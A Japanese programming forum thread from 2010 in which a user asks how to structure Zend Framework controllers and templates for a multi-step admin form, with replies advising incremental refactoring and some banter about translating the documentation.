zendFrameworkを使って、管理画面(フォームの入力画面)を作りたいと思います。 今まではPHPでスクラッチで 入力画面・確認画面・修正画面・登録画面を別々に作ってたんですが、 zendFWを使うにあたって、どんな構造にしたら効率的かご意見お願いします。 なるべくテンプレートファイルやアクションを少なくすることをテーマにして 自分で考えたのは以下の処理なんですが、おかしいでしょうか? class TestController extends Zend_Controller_Action(){ /*以下がフォームの画面*/ public function testformAction(){ //最初に入力モードの確認 ・モードが入力・修正の場合、フォームのテンプレートを共通で読み込む。 ただし、入力モードのときは、前回登録済みデータの確認と取得→表示 修正モードの時はセッションで確認画面から持ち込んだデータを取得→表示 ・モードが確認の場合、確認用のテンプレートを読み込む、各バリデータ処理 ・モードが登録の場合、登録処理 処理が正常にすんだら、succeedActionにフォワード、失敗したらerrActionへ } succeedAction(){ //各アクション登録成功時の共通画面出力「○○情報を登録しました」 } errAction(){ //各アクション登録成功時の共通画面出力「○○情報の登録失敗しました」 } }
981 :
980 :2010/02/08(月) 22:45:41 ID:HuDyW4AI
【つづき】 いろんなサイトで調べてもZendFormの使い方なんかはあるんですが 一連の流れの解説が見当たらなかったので、自分の考えでいいのか不安です。 もっと効率的なやり方や、別の方法で実用されている方がいたら、ご意見もらえると助かります。 よろしくお願いします。 また、zendFormを使おうとは考えていないんですが、zendFormを使うことで 上記の処理の構造面でも効率化できたりするものでしょうか?
なんでアクションやテンプレート数を減らす必要があるの? 別に減らす必要なくね?
まずは今までの別々をそのままzendにしたほうがいいだろうね。 その次で、目標のテーマに再編。一気に遣ろうとすると失敗すると思う。ひとつづつ段階踏んで確実に。 あるいは先に目標のテーマにまとめておいて、次にzendにする。 生め。
984 :
980 :2010/02/08(月) 23:02:20 ID:HuDyW4AI
>>982-983 ありがとうございます
アクションを減らさなくてもいいということは
form1inputAction, form1confirmAction, form1rewriteAction, form1queryAction などと
処理ごとに別のアクションを持たせて明確に分けたほうがいいってことでしょうか?
自分としてはこの構造だと見やすい・わかりやすいっていうすごいメリットがある反面
登録フォームの数が増えたら フォームの数*4の膨大なactionができるので、コントローラ全体と
して見れば煩雑にならないかなぁって思うのですが。(慣れれば良いことだとは思いますが…)
>>982-983 さんはこんな感じでやっていますか?
回答いただいて本当に感謝します。
増えた時点でまとめていけば? 増えてみないと仕様が固まらないだろうし。
>>985 わかりました、とりあえず一つ作って様子見てみます
ありがとうございました
俺、あんま英語できないんで、ValidateとかView_Helperなんかの未だ和訳されていない部分の日本語化を誰か偉い人、お願いします
言いだしっぺの法則
>>988 めちゃくちゃな和訳でいいなら俺がやってもいいけど?
多分嘘書きまくるよ?
ok
頼んだ。 違うとこがあれば誰かが突っ込めばいいし、日本語の叩き台があるだけでも断然とっつき易いはず。
本買えばいいじゃん
プログラマならソース追った方が早いだろ
>>994 他人が書いたコードなんか読みたくねえんだよ!
>>995 でも他人が書いたコードは使うんだよな。ふーん。
自動車を運転するが中身はいじれないのと同じだコラ!
>>997 自動車学校である程度習うから知らない方が問題
1000 :
nobodyさん :2010/02/10(水) 05:37:52 ID:uj21c1TP
1000ならperlの大勝利
1001 :
1001 :
Over 1000 Thread このスレッドは1000を超えました。 もう書けないので、新しいスレッドを立ててくださいです。。。